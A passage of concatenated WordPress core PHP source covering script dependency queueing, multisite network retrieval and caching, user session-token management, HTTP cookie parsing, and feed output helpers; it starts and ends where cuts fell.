	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string|string[] $handles Item handle (string) or item handles (array of strings).
	 */
	public function remove( $handles ) {
		foreach ( (array) $handles as $handle ) {
			unset( $this->registered[ $handle ] );
		}
	}

	/**
	 * Queue an item or items.
	 *
	 * Decodes handles and arguments, then queues handles and stores
	 * arguments in the class property $args. For example in extending
	 * classes, $args is appended to the item url as a query string.
	 * Note $args is NOT the $args property of items in the $registered array.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string|string[] $handles Item handle (string) or item handles (array of strings).
	 */
	public function enqueue( $handles ) {
		foreach ( (array) $handles as $handle ) {
			$handle = explode( '?', $handle );

			if ( ! in_array( $handle[0], $this->queue, true ) && isset( $this->registered[ $handle[0] ] ) ) {
				$this->queue[] = $handle[0];

				// Reset all dependencies so they must be recalculated in recurse_deps().
				$this->all_queued_deps = null;

				if ( isset( $handle[1] ) ) {
					$this->args[ $handle[0] ] = $handle[1];
				}
			} elseif ( ! isset( $this->registered[ $handle[0] ] ) ) {
				$this->queued_before_register[ $handle[0] ] = null; // $args

				if ( isset( $handle[1] ) ) {
					$this->queued_before_register[ $handle[0] ] = $handle[1];
				}
			}
		}
	}

	/**
	 * Dequeue an item or items.
	 *
	 * Decodes handles and arguments, then dequeues handles
	 * and removes arguments from the class property $args.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string|string[] $handles Item handle (string) or item handles (array of strings).
	 */
	public function dequeue( $handles ) {
		foreach ( (array) $handles as $handle ) {
			$handle = explode( '?', $handle );
			$key    = array_search( $handle[0], $this->queue, true );

			if ( false !== $key ) {
				// Reset all dependencies so they must be recalculated in recurse_deps().
				$this->all_queued_deps = null;

				unset( $this->queue[ $key ] );
				unset( $this->args[ $handle[0] ] );
			} elseif ( array_key_exists( $handle[0], $this->queued_before_register ) ) {
				unset( $this->queued_before_register[ $handle[0] ] );
			}
		}
	}

	/**
	 * Recursively search the passed dependency tree for a handle.
	 *
	 * @since 4.0.0
	 *
	 * @param string[] $queue  An array of queued _WP_Dependency handles.
	 * @param string   $handle Name of the item. Should be unique.
	 * @return bool Whether the handle is found after recursively searching the dependency tree.
	 */
	protected function recurse_deps( $queue, $handle ) {
		if ( isset( $this->all_queued_deps ) ) {
			return isset( $this->all_queued_deps[ $handle ] );
		}

		$all_deps = array_fill_keys( $queue, true );
		$queues   = array();
		$done     = array();

		while ( $queue ) {
			foreach ( $queue as $queued ) {
				if ( ! isset( $done[ $queued ] ) && isset( $this->registered[ $queued ] ) ) {
					$deps = $this->registered[ $queued ]->deps;
					if ( $deps ) {
						$all_deps += array_fill_keys( $deps, true );
						array_push( $queues, $deps );
					}
					$done[ $queued ] = true;
				}
			}
			$queue = array_pop( $queues );
		}

		$this->all_queued_deps = $all_deps;

		return isset( $this->all_queued_deps[ $handle ] );
	}

	/**
	 * Query the list for an item.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string $handle Name of the item. Should be unique.
	 * @param string $status Optional. Status of the item to query. Default 'registered'.
	 * @return bool|_WP_Dependency Found, or object Item data.
	 */
	public function query( $handle, $status = 'registered' ) {
		switch ( $status ) {
			case 'registered':
			case 'scripts': // Back compat.
				if ( isset( $this->registered[ $handle ] ) ) {
					return $this->registered[ $handle ];
				}
				return false;

			case 'enqueued':
			case 'queue': // Back compat.
				if ( in_array( $handle, $this->queue, true ) ) {
					return true;
				}
				return $this->recurse_deps( $this->queue, $handle );

			case 'to_do':
			case 'to_print': // Back compat.
				return in_array( $handle, $this->to_do, true );

			case 'done':
			case 'printed': // Back compat.
				return in_array( $handle, $this->done, true );
		}

		return false;
	}

	/**
	 * Set item group, unless already in a lower group.
	 *
	 * @since 2.8.0
	 *
	 * @param string    $handle    Name of the item. Should be unique.
	 * @param bool      $recursion Internal flag that calling function was called recursively.
	 * @param int|false $group     Group level: level (int), no group (false).
	 * @return bool Not already in the group or a lower group.
	 */
	public function set_group( $handle, $recursion, $group ) {
		$group = (int) $group;

		if ( isset( $this->groups[ $handle ] ) && $this->groups[ $handle ] <= $group ) {
			return false;
		}

		$this->groups[ $handle ] = $group;

		return true;
	}
}
<?php
/**
 * Network API
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 5.1.0
 */

/**
 * Retrieves network data given a network ID or network object.
 *
 * Network data will be cached and returned after being passed through a filter.
 * If the provided network is empty, the current network global will be used.
 *
 * @since 4.6.0
 *
 * @global WP_Network $current_site
 *
 * @param WP_Network|int|null $network Optional. Network to retrieve. Default is the current network.
 * @return WP_Network|null The network object or null if not found.
 */
function get_network( $network = null ) {
	global $current_site;
	if ( empty( $network ) && isset( $current_site ) ) {
		$network = $current_site;
	}

	if ( $network instanceof WP_Network ) {
		$_network = $network;
	} elseif ( is_object( $network ) ) {
		$_network = new WP_Network( $network );
	} else {
		$_network = WP_Network::get_instance( $network );
	}

	if ( ! $_network ) {
		return null;
	}

	/**
	 * Fires after a network is retrieved.
	 *
	 * @since 4.6.0
	 *
	 * @param WP_Network $_network Network data.
	 */
	$_network = apply_filters( 'get_network', $_network );

	return $_network;
}

/**
 * Retrieves a list of networks.
 *
 * @since 4.6.0
 *
 * @param string|array $args Optional. Array or string of arguments. See WP_Network_Query::parse_query()
 *                           for information on accepted arguments. Default empty array.
 * @return array|int List of WP_Network objects, a list of network IDs when 'fields' is set to 'ids',
 *                   or the number of networks when 'count' is passed as a query var.
 */
function get_networks( $args = array() ) {
	$query = new WP_Network_Query();

	return $query->query( $args );
}

/**
 * Removes a network from the object cache.
 *
 * @since 4.6.0
 *
 * @global bool $_wp_suspend_cache_invalidation
 *
 * @param int|array $ids Network ID or an array of network IDs to remove from cache.
 */
function clean_network_cache( $ids ) {
	global $_wp_suspend_cache_invalidation;

	if ( ! empty( $_wp_suspend_cache_invalidation ) ) {
		return;
	}

	$network_ids = (array) $ids;
	wp_cache_delete_multiple( $network_ids, 'networks' );

	foreach ( $network_ids as $id ) {
		/**
		 * Fires immediately after a network has been removed from the object cache.
		 *
		 * @since 4.6.0
		 *
		 * @param int $id Network ID.
		 */
		do_action( 'clean_network_cache', $id );
	}

	wp_cache_set_last_changed( 'networks' );
}

/**
 * Updates the network cache of given networks.
 *
 * Will add the networks in $networks to the cache. If network ID already exists
 * in the network cache then it will not be updated. The network is added to the
 * cache using the network group with the key using the ID of the networks.
 *
 * @since 4.6.0
 *
 * @param array $networks Array of network row objects.
 */
function update_network_cache( $networks ) {
	$data = array();
	foreach ( (array) $networks as $network ) {
		$data[ $network->id ] = $network;
	}
	wp_cache_add_multiple( $data, 'networks' );
}

/**
 * Adds any networks from the given IDs to the cache that do not already exist in cache.
 *
 * @since 4.6.0
 * @since 6.1.0 This function is no longer marked as "private".
 *
 * @see update_network_cache()
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $network_ids Array of network IDs.
 */
function _prime_network_caches( $network_ids ) {
	global $wpdb;

	$non_cached_ids = _get_non_cached_ids( $network_ids, 'networks' );
	if ( ! empty( $non_cached_ids ) ) {
		$fresh_networks = $wpdb->get_results( sprintf( "SELECT $wpdb->site.* FROM $wpdb->site WHERE id IN (%s)", implode( ',', array_map( 'intval', $non_cached_ids ) ) ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

		update_network_cache( $fresh_networks );
	}
}
<?php
/**
 * Session API: WP_Session_Tokens class
 *
 * @package WordPress
 * @subpackage Session
 * @since 4.7.0
 */

/**
 * Abstract class for managing user session tokens.
 *
 * @since 4.0.0
 */
#[AllowDynamicProperties]
abstract class WP_Session_Tokens {

	/**
	 * User ID.
	 *
	 * @since 4.0.0
	 * @var int User ID.
	 */
	protected $user_id;

	/**
	 * Protected constructor. Use the `get_instance()` method to get the instance.
	 *
	 * @since 4.0.0
	 *
	 * @param int $user_id User whose session to manage.
	 */
	protected function __construct( $user_id ) {
		$this->user_id = $user_id;
	}

	/**
	 * Retrieves a session manager instance for a user.
	 *
	 * This method contains a {@see 'session_token_manager'} filter, allowing a plugin to swap out
	 * the session manager for a subclass of `WP_Session_Tokens`.
	 *
	 * @since 4.0.0
	 *
	 * @param int $user_id User whose session to manage.
	 * @return WP_Session_Tokens The session object, which is by default an instance of
	 *                           the `WP_User_Meta_Session_Tokens` class.
	 */
	final public static function get_instance( $user_id ) {
		/**
		 * Filters the class name for the session token manager.
		 *
		 * @since 4.0.0
		 *
		 * @param string $session Name of class to use as the manager.
		 *                        Default 'WP_User_Meta_Session_Tokens'.
		 */
		$manager = apply_filters( 'session_token_manager', 'WP_User_Meta_Session_Tokens' );
		return new $manager( $user_id );
	}

	/**
	 * Hashes the given session token for storage.
	 *
	 * @since 4.0.0
	 *
	 * @param string $token Session token to hash.
	 * @return string A hash of the session token (a verifier).
	 */
	private function hash_token( $token ) {
		// If ext/hash is not present, use sha1() instead.
		if ( function_exists( 'hash' ) ) {
			return hash( 'sha256', $token );
		} else {
			return sha1( $token );
		}
	}

	/**
	 * Retrieves a user's session for the given token.
	 *
	 * @since 4.0.0
	 *
	 * @param string $token Session token.
	 * @return array|null The session, or null if it does not exist.
	 */
	final public function get( $token ) {
		$verifier = $this->hash_token( $token );
		return $this->get_session( $verifier );
	}

	/**
	 * Validates the given session token for authenticity and validity.
	 *
	 * Checks that the given token is present and hasn't expired.
	 *
	 * @since 4.0.0
	 *
	 * @param string $token Token to verify.
	 * @return bool Whether the token is valid for the user.
	 */
	final public function verify( $token ) {
		$verifier = $this->hash_token( $token );
		return (bool) $this->get_session( $verifier );
	}

	/**
	 * Generates a session token and attaches session information to it.
	 *
	 * A session token is a long, random string. It is used in a cookie
	 * to link that cookie to an expiration time and to ensure the cookie
	 * becomes invalidated when the user logs out.
	 *
	 * This function generates a token and stores it with the associated
	 * expiration time (and potentially other session information via the
	 * {@see 'attach_session_information'} filter).
	 *
	 * @since 4.0.0
	 *
	 * @param int $expiration Session expiration timestamp.
	 * @return string Session token.
	 */
	final public function create( $expiration ) {
		/**
		 * Filters the information attached to the newly created session.
		 *
		 * Can be used to attach further information to a session.
		 *
		 * @since 4.0.0
		 *
		 * @param array $session Array of extra data.
		 * @param int   $user_id User ID.
		 */
		$session               = apply_filters( 'attach_session_information', array(), $this->user_id );
		$session['expiration'] = $expiration;

		// IP address.
		if ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
			$session['ip'] = $_SERVER['REMOTE_ADDR'];
		}

		// User-agent.
		if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
			$session['ua'] = wp_unslash( $_SERVER['HTTP_USER_AGENT'] );
		}

		// Timestamp.
		$session['login'] = time();

		$token = wp_generate_password( 43, false, false );

		$this->update( $token, $session );

		return $token;
	}

	/**
	 * Updates the data for the session with the given token.
	 *
	 * @since 4.0.0
	 *
	 * @param string $token Session token to update.
	 * @param array  $session Session information.
	 */
	final public function update( $token, $session ) {
		$verifier = $this->hash_token( $token );
		$this->update_session( $verifier, $session );
	}

	/**
	 * Destroys the session with the given token.
	 *
	 * @since 4.0.0
	 *
	 * @param string $token Session token to destroy.
	 */
	final public function destroy( $token ) {
		$verifier = $this->hash_token( $token );
		$this->update_session( $verifier, null );
	}

	/**
	 * Destroys all sessions for this user except the one with the given token (presumably the one in use).
	 *
	 * @since 4.0.0
	 *
	 * @param string $token_to_keep Session token to keep.
	 */
	final public function destroy_others( $token_to_keep ) {
		$verifier = $this->hash_token( $token_to_keep );
		$session  = $this->get_session( $verifier );
		if ( $session ) {
			$this->destroy_other_sessions( $verifier );
		} else {
			$this->destroy_all_sessions();
		}
	}

	/**
	 * Determines whether a session is still valid, based on its expiration timestamp.
	 *
	 * @since 4.0.0
	 *
	 * @param array $session Session to check.
	 * @return bool Whether session is valid.
	 */
	final protected function is_still_valid( $session ) {
		return $session['expiration'] >= time();
	}

	/**
	 * Destroys all sessions for a user.
	 *
	 * @since 4.0.0
	 */
	final public function destroy_all() {
		$this->destroy_all_sessions();
	}

	/**
	 * Destroys all sessions for all users.
	 *
	 * @since 4.0.0
	 */
	final public static function destroy_all_for_all_users() {
		/** This filter is documented in wp-includes/class-wp-session-tokens.php */
		$manager = apply_filters( 'session_token_manager', 'WP_User_Meta_Session_Tokens' );
		call_user_func( array( $manager, 'drop_sessions' ) );
	}

	/**
	 * Retrieves all sessions for a user.
	 *
	 * @since 4.0.0
	 *
	 * @return array Sessions for a user.
	 */
	final public function get_all() {
		return array_values( $this->get_sessions() );
	}

	/**
	 * Retrieves all sessions of the user.
	 *
	 * @since 4.0.0
	 *
	 * @return array Sessions of the user.
	 */
	abstract protected function get_sessions();

	/**
	 * Retrieves a session based on its verifier (token hash).
	 *
	 * @since 4.0.0
	 *
	 * @param string $verifier Verifier for the session to retrieve.
	 * @return array|null The session, or null if it does not exist.
	 */
	abstract protected function get_session( $verifier );

	/**
	 * Updates a session based on its verifier (token hash).
	 *
	 * Omitting the second argument destroys the session.
	 *
	 * @since 4.0.0
	 *
	 * @param string $verifier Verifier for the session to update.
	 * @param array  $session  Optional. Session. Omitting this argument destroys the session.
	 */
	abstract protected function update_session( $verifier, $session = null );

	/**
	 * Destroys all sessions for this user, except the single session with the given verifier.
	 *
	 * @since 4.0.0
	 *
	 * @param string $verifier Verifier of the session to keep.
	 */
	abstract protected function destroy_other_sessions( $verifier );

	/**
	 * Destroys all sessions for the user.
	 *
	 * @since 4.0.0
	 */
	abstract protected function destroy_all_sessions();

	/**
	 * Destroys all sessions for all users.
	 *
	 * @since 4.0.0
	 */
	public static function drop_sessions() {}
}
<?php
/**
 * HTTP API: WP_Http_Cookie class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.4.0
 */

/**
 * Core class used to encapsulate a single cookie object for internal use.
 *
 * Returned cookies are represented using this class, and when cookies are set, if they are not
 * already a WP_Http_Cookie() object, then they are turned into one.
 *
 * @todo The WordPress convention is to use underscores instead of camelCase for function and method
 * names. Need to switch to use underscores instead for the methods.
 *
 * @since 2.8.0
 */
#[AllowDynamicProperties]
class WP_Http_Cookie {

	/**
	 * Cookie name.
	 *
	 * @since 2.8.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Cookie value.
	 *
	 * @since 2.8.0
	 *
	 * @var string
	 */
	public $value;

	/**
	 * When the cookie expires. Unix timestamp or formatted date.
	 *
	 * @since 2.8.0
	 *
	 * @var string|int|null
	 */
	public $expires;

	/**
	 * Cookie URL path.
	 *
	 * @since 2.8.0
	 *
	 * @var string
	 */
	public $path;

	/**
	 * Cookie Domain.
	 *
	 * @since 2.8.0
	 *
	 * @var string
	 */
	public $domain;

	/**
	 * Cookie port or comma-separated list of ports.
	 *
	 * @since 2.8.0
	 *
	 * @var int|string
	 */
	public $port;

	/**
	 * host-only flag.
	 *
	 * @since 5.2.0
	 *
	 * @var bool
	 */
	public $host_only;

	/**
	 * Sets up this cookie object.
	 *
	 * The parameter $data should be either an associative array containing the indices names below
	 * or a header string detailing it.
	 *
	 * @since 2.8.0
	 * @since 5.2.0 Added `host_only` to the `$data` parameter.
	 *
	 * @param string|array $data {
	 *     Raw cookie data as header string or data array.
	 *
	 *     @type string          $name      Cookie name.
	 *     @type mixed           $value     Value. Should NOT already be urlencoded.
	 *     @type string|int|null $expires   Optional. Unix timestamp or formatted date. Default null.
	 *     @type string          $path      Optional. Path. Default '/'.
	 *     @type string          $domain    Optional. Domain. Default host of parsed $requested_url.
	 *     @type int|string      $port      Optional. Port or comma-separated list of ports. Default null.
	 *     @type bool            $host_only Optional. host-only storage flag. Default true.
	 * }
	 * @param string       $requested_url The URL which the cookie was set on, used for default $domain
	 *                                    and $port values.
	 */
	public function __construct( $data, $requested_url = '' ) {
		if ( $requested_url ) {
			$parsed_url = parse_url( $requested_url );
		}
		if ( isset( $parsed_url['host'] ) ) {
			$this->domain = $parsed_url['host'];
		}
		$this->path = isset( $parsed_url['path'] ) ? $parsed_url['path'] : '/';
		if ( ! str_ends_with( $this->path, '/' ) ) {
			$this->path = dirname( $this->path ) . '/';
		}

		if ( is_string( $data ) ) {
			// Assume it's a header string direct from a previous request.
			$pairs = explode( ';', $data );

			// Special handling for first pair; name=value. Also be careful of "=" in value.
			$name        = trim( substr( $pairs[0], 0, strpos( $pairs[0], '=' ) ) );
			$value       = substr( $pairs[0], strpos( $pairs[0], '=' ) + 1 );
			$this->name  = $name;
			$this->value = urldecode( $value );

			// Removes name=value from items.
			array_shift( $pairs );

			// Set everything else as a property.
			foreach ( $pairs as $pair ) {
				$pair = rtrim( $pair );

				// Handle the cookie ending in ; which results in an empty final pair.
				if ( empty( $pair ) ) {
					continue;
				}

				list( $key, $val ) = strpos( $pair, '=' ) ? explode( '=', $pair ) : array( $pair, '' );
				$key               = strtolower( trim( $key ) );
				if ( 'expires' === $key ) {
					$val = strtotime( $val );
				}
				$this->$key = $val;
			}
		} else {
			if ( ! isset( $data['name'] ) ) {
				return;
			}

			// Set properties based directly on parameters.
			foreach ( array( 'name', 'value', 'path', 'domain', 'port', 'host_only' ) as $field ) {
				if ( isset( $data[ $field ] ) ) {
					$this->$field = $data[ $field ];
				}
			}

			if ( isset( $data['expires'] ) ) {
				$this->expires = is_int( $data['expires'] ) ? $data['expires'] : strtotime( $data['expires'] );
			} else {
				$this->expires = null;
			}
		}
	}

	/**
	 * Confirms that it's OK to send this cookie to the URL checked against.
	 *
	 * Decision is based on RFC 2109/2965, so look there for details on validity.
	 *
	 * @since 2.8.0
	 *
	 * @param string $url URL you intend to send this cookie to
	 * @return bool true if allowed, false otherwise.
	 */
	public function test( $url ) {
		if ( is_null( $this->name ) ) {
			return false;
		}

		// Expires - if expired then nothing else matters.
		if ( isset( $this->expires ) && time() > $this->expires ) {
			return false;
		}

		// Get details on the URL we're thinking about sending to.
		$url         = parse_url( $url );
		$url['port'] = isset( $url['port'] ) ? $url['port'] : ( 'https' === $url['scheme'] ? 443 : 80 );
		$url['path'] = isset( $url['path'] ) ? $url['path'] : '/';

		// Values to use for comparison against the URL.
		$path   = isset( $this->path ) ? $this->path : '/';
		$port   = isset( $this->port ) ? $this->port : null;
		$domain = isset( $this->domain ) ? strtolower( $this->domain ) : strtolower( $url['host'] );
		if ( false === stripos( $domain, '.' ) ) {
			$domain .= '.local';
		}

		// Host - very basic check that the request URL ends with the domain restriction (minus leading dot).
		$domain = ( str_starts_with( $domain, '.' ) ) ? substr( $domain, 1 ) : $domain;
		if ( ! str_ends_with( $url['host'], $domain ) ) {
			return false;
		}

		// Port - supports "port-lists" in the format: "80,8000,8080".
		if ( ! empty( $port ) && ! in_array( $url['port'], array_map( 'intval', explode( ',', $port ) ), true ) ) {
			return false;
		}

		// Path - request path must start with path restriction.
		if ( ! str_starts_with( $url['path'], $path ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Convert cookie name and value back to header string.
	 *
	 * @since 2.8.0
	 *
	 * @return string Header encoded cookie name and value.
	 */
	public function getHeaderValue() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
		if ( ! isset( $this->name ) || ! isset( $this->value ) ) {
			return '';
		}

		/**
		 * Filters the header-encoded cookie value.
		 *
		 * @since 3.4.0
		 *
		 * @param string $value The cookie value.
		 * @param string $name  The cookie name.
		 */
		return $this->name . '=' . apply_filters( 'wp_http_cookie_value', $this->value, $this->name );
	}

	/**
	 * Retrieve cookie header for usage in the rest of the WordPress HTTP API.
	 *
	 * @since 2.8.0
	 *
	 * @return string
	 */
	public function getFullHeader() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
		return 'Cookie: ' . $this->getHeaderValue();
	}

	/**
	 * Retrieves cookie attributes.
	 *
	 * @since 4.6.0
	 *
	 * @return array {
	 *     List of attributes.
	 *
	 *     @type string|int|null $expires When the cookie expires. Unix timestamp or formatted date.
	 *     @type string          $path    Cookie URL path.
	 *     @type string          $domain  Cookie domain.
	 * }
	 */
	public function get_attributes() {
		return array(
			'expires' => $this->expires,
			'path'    => $this->path,
			'domain'  => $this->domain,
		);
	}
}
<?php
/**
 * Session API: WP_User_Meta_Session_Tokens class
 *
 * @package WordPress
 * @subpackage Session
 * @since 4.7.0
 */

/**
 * Meta-based user sessions token manager.
 *
 * @since 4.0.0
 *
 * @see WP_Session_Tokens
 */
class WP_User_Meta_Session_Tokens extends WP_Session_Tokens {

	/**
	 * Retrieves all sessions of the user.
	 *
	 * @since 4.0.0
	 *
	 * @return array Sessions of the user.
	 */
	protected function get_sessions() {
		$sessions = get_user_meta( $this->user_id, 'session_tokens', true );

		if ( ! is_array( $sessions ) ) {
			return array();
		}

		$sessions = array_map( array( $this, 'prepare_session' ), $sessions );
		return array_filter( $sessions, array( $this, 'is_still_valid' ) );
	}

	/**
	 * Converts an expiration to an array of session information.
	 *
	 * @param mixed $session Session or expiration.
	 * @return array Session.
	 */
	protected function prepare_session( $session ) {
		if ( is_int( $session ) ) {
			return array( 'expiration' => $session );
		}

		return $session;
	}

	/**
	 * Retrieves a session based on its verifier (token hash).
	 *
	 * @since 4.0.0
	 *
	 * @param string $verifier Verifier for the session to retrieve.
	 * @return array|null The session, or null if it does not exist
	 */
	protected function get_session( $verifier ) {
		$sessions = $this->get_sessions();

		if ( isset( $sessions[ $verifier ] ) ) {
			return $sessions[ $verifier ];
		}

		return null;
	}

	/**
	 * Updates a session based on its verifier (token hash).
	 *
	 * @since 4.0.0
	 *
	 * @param string $verifier Verifier for the session to update.
	 * @param array  $session  Optional. Session. Omitting this argument destroys the session.
	 */
	protected function update_session( $verifier, $session = null ) {
		$sessions = $this->get_sessions();

		if ( $session ) {
			$sessions[ $verifier ] = $session;
		} else {
			unset( $sessions[ $verifier ] );
		}

		$this->update_sessions( $sessions );
	}

	/**
	 * Updates the user's sessions in the usermeta table.
	 *
	 * @since 4.0.0
	 *
	 * @param array $sessions Sessions.
	 */
	protected function update_sessions( $sessions ) {
		if ( $sessions ) {
			update_user_meta( $this->user_id, 'session_tokens', $sessions );
		} else {
			delete_user_meta( $this->user_id, 'session_tokens' );
		}
	}

	/**
	 * Destroys all sessions for this user, except the single session with the given verifier.
	 *
	 * @since 4.0.0
	 *
	 * @param string $verifier Verifier of the session to keep.
	 */
	protected function destroy_other_sessions( $verifier ) {
		$session = $this->get_session( $verifier );
		$this->update_sessions( array( $verifier => $session ) );
	}

	/**
	 * Destroys all session tokens for the user.
	 *
	 * @since 4.0.0
	 */
	protected function destroy_all_sessions() {
		$this->update_sessions( array() );
	}

	/**
	 * Destroys all sessions for all users.
	 *
	 * @since 4.0.0
	 */
	public static function drop_sessions() {
		delete_metadata( 'user', 0, 'session_tokens', false, true );
	}
}
<?php
/**
 * WordPress Feed API
 *
 * Many of the functions used in here belong in The Loop, or The Loop for the
 * Feeds.
 *
 * @package WordPress
 * @subpackage Feed
 * @since 2.1.0
 */

/**
 * Retrieves RSS container for the bloginfo function.
 *
 * You can retrieve anything that you can using the get_bloginfo() function.
 * Everything will be stripped of tags and characters converted, when the values
 * are retrieved for use in the feeds.
 *
 * @since 1.5.1
 *
 * @see get_bloginfo() For the list of possible values to display.
 *
 * @param string $show See get_bloginfo() for possible values.
 * @return string
 */
function get_bloginfo_rss( $show = '' ) {
	$info = strip_tags( get_bloginfo( $show ) );
	/**
	 * Filters the bloginfo for use in RSS feeds.
	 *
	 * @since 2.2.0
	 *
	 * @see convert_chars()
	 * @see get_bloginfo()
	 *
	 * @param string $info Converted string value of the blog information.
	 * @param string $show The type of blog information to retrieve.
	 */
	return apply_filters( 'get_bloginfo_rss', convert_chars( $info ), $show );
}

/**
 * Displays RSS container for the bloginfo function.
 *
 * You can retrieve anything that you can using the get_bloginfo() function.
 * Everything will be stripped of tags and characters converted, when the values
 * are retrieved for use in the feeds.
 *
 * @since 0.71
 *
 * @see get_bloginfo() For the list of possible values to display.
 *
 * @param string $show See get_bloginfo() for possible values.
 */
function bloginfo_rss( $show = '' ) {
	/**
	 * Filters the bloginfo for display in RSS feeds.
	 *
	 * @since 2.1.0
	 *
	 * @see get_bloginfo()
	 *
	 * @param string $rss_container RSS container for the blog information.
	 * @param string $show          The type of blog information to retrieve.
	 */
	echo apply_filters( 'bloginfo_rss', get_bloginfo_rss( $show ), $show );
}

/**
 * Retrieves the default feed.
 *
 * The default feed is 'rss2', unless a plugin changes it through the
 * {@see 'default_feed'} filter.
 *
 * @since 2.5.0
 *
 * @return string Default feed, or for example 'rss2', 'atom', etc.
 */
function get_default_feed() {
	/**
	 * Filters the default feed type.
	 *
	 * @since 2.5.0
	 *
	 * @param string $feed_type Type of default feed. Possible values include 'rss2', 'atom'.
	 *                          Default 'rss2'.
	 */
	$default_feed = apply_filters( 'default_feed', 'rss2' );

	return ( 'rss' === $default_feed ) ? 'rss2' : $default_feed;
}

/**
 * Retrieves the blog title for the feed title.
 *
 * @since 2.2.0
 * @since 4.4.0 The optional `$sep` parameter was deprecated and renamed to `$deprecated`.
 *
 * @param string $deprecated Unused.
 * @return string The document title.
 */
function get_wp_title_rss( $deprecated = '&#8211;' ) {
	if ( '&#8211;' !== $deprecated ) {
		/* translators: %s: 'document_title_separator' filter name. */
		_deprecated_argument( __FUNCTION__, '4.4.0', sprintf( __( 'Use the %s filter instead.' ), '<code>document_title_separator</code>' ) );
	}

	/**
	 * Filters the blog title for use as the feed title.
	 *
	 * @since 2.2.0
	 * @since 4.4.0 The `$sep` parameter was deprecated and renamed to `$deprecated`.
	 *
	 * @param string $title      The current blog title.
	 * @param string $deprecated Unused.
	 */
	return apply_filters( 'get_wp_title_rss', wp_get_document_title(), $deprecated );
}

/**
 * Displays the blog title for display of the feed title.
 *
 * @since 2.2.0
 * @since 4.4.0 The optional `$sep` parameter was deprecated and renamed to `$deprecated`.
 *
 * @param string $deprecated Unused.
 */
function wp_title_rss( $deprecated = '&#8211;' ) {
	if ( '&#8211;' !== $deprecated ) {
		/* translators: %s: 'document_title_separator' filter name. */
		_deprecated_argument( __FUNCTION__, '4.4.0', sprintf( __( 'Use the %s filter instead.' ), '<code>document_title_separator</code>' ) );
	}

	/**
	 * Filters the blog title for display of the feed title.
	 *
	 * @since 2.2.0
	 * @since 4.4.0 The `$sep` parameter was deprecated and renamed to `$deprecated`.
	 *
	 * @see get_wp_title_rss()
	 *
	 * @param string $wp_title_rss The current blog title.
	 * @param string $deprecated   Unused.
	 */
	echo apply_filters( 'wp_title_rss', get_wp_title_rss(), $deprecated );
}

/**
 * Retrieves the current post title for the feed.
 *
 * @since 2.0.0
 *
 * @return string Current post title.
 */
function get_the_title_rss() {
	$title = get_the_title();

	/**
	 * Filters the post title for use in a feed.
	 *
	 * @since 1.2.0
	 *
	 * @param string $title The current post title.
	 */
	return apply_filters( 'the_title_rss', $title );
}

/**
 * Displays the post title in the feed.
 *
 * @since 0.71
 */
function the_title_rss() {
	echo get_the_title_rss();
}

/**
 * Retrieves the post content for feeds.
 *
 * @since 2.9.0
 *
 * @see get_the_content()
 *
 * @param string $feed_type The type of feed. rss2 | atom | rss | rdf
 * @return string The filtered content.
 */
function get_the_content_feed( $feed_type = null ) {
	if ( ! $feed_type ) {
		$feed_type = get_default_feed();
	}

	/** This filter is documented in wp-includes/post-template.php */
	$content = apply_filters( 'the_content', get_the_content() );
	$content = str_replace( ']]>', ']]&gt;', $content );

	/**
	 * Filters the post content for use in feeds.
	 *
	 * @since 2.9.0
	 *
	 * @param string $content   The current post content.
	 * @param string $feed_type Type of feed. Possible values include 'rss2', 'atom'.
	 *                          Default 'rss2'.
	 */
	return apply_filters( 'the_content_feed', $content, $feed_type );
}

/**
 * Displays the post content for feeds.
 *
 * @since 2.9.0
 *
 * @param string $feed_type The type of feed. rss2 | atom | rss | rdf
 */
function the_content_feed( $feed_type = null ) {
	echo get_the_content_feed( $feed_type );
}

/**
 * Displays the post excerpt for the feed.
 *
 * @since 0.71
 */
function the_excerpt_rss() {
	$output = get_the_excerpt();
	/**
	 * Filters the post excerpt for a feed.
	 *
	 * @since 1.2.0
	 *
	 * @param string $output The current post excerpt.
	 */
	echo apply_filters( 'the_excerpt_rss', $output );
}

/**
 * Displays the permalink to the post for use in feeds.
 *
 * @since 2.3.0
 */
function the_permalink_rss() {
	/**
	 * Filters the permalink to the post for use in feeds.
	 *
	 * @since 2.3.0
	 *
	 * @param string $post_permalink The current post permalink.
	 */
	echo esc_url( apply_filters( 'the_permalink_rss', get_permalink() ) );
}

/**
 * Outputs the link to the comments for the current post in an XML safe way.
 *
 * @since 3.0.0
 */
function comments_link_feed() {
	/**
	 * Filters the comments permalink for the current post.
	 *
	 * @since 3.6.0
	 *
	 * @param string $comment_permalink The current comment permalink with
	 *                                  '#comments' appended.
	 */
	echo esc_url( apply_filters( 'comments_link_feed', get_comments_link() ) );
}

/**
 * Displays the feed GUID for the current comment.
 *
 * @since 2.5.0
 *
 * @param int|WP_Comment $comment_id Optional comment object or ID. Defaults to global comment object.
 */
function comment_guid( $comment_id = null ) {
	echo esc_url( get_comment_guid( $comment_id ) );
}

/**
 * Retrieves the feed GUID for the current comment.
 *
 * @since 2.5.0
 *
 * @param int|WP_Comment $comment_id Optional comment object or ID. Defaults to global comment object.
 * @return string|false GUID for comment on success, false on failure.
 */
function get_comment_guid( $comment_id = null ) {
	$comment = get_comment( $comment_id );

	if ( ! is_object( $comment ) ) {
		return false;
	}

	return get_the_guid( $comment->comment_post_ID ) . '#comment-' . $comment->comment_ID;
}

/**
 * Displays the link to the comments.
 *
 * @since 1.5.0
 * @since 4.4.0 Introduced the `$comment` argument.
 *
 * @param int|WP_Comment $comment Optional. Comment object or ID. Defaults to global comment object.
 */
function comment_link( $comment = null ) {
	/**
	 * Filters the current comment's permalink.
	 *
	 * @since 3.6.0
	 *
	 * @see get_comment_link()
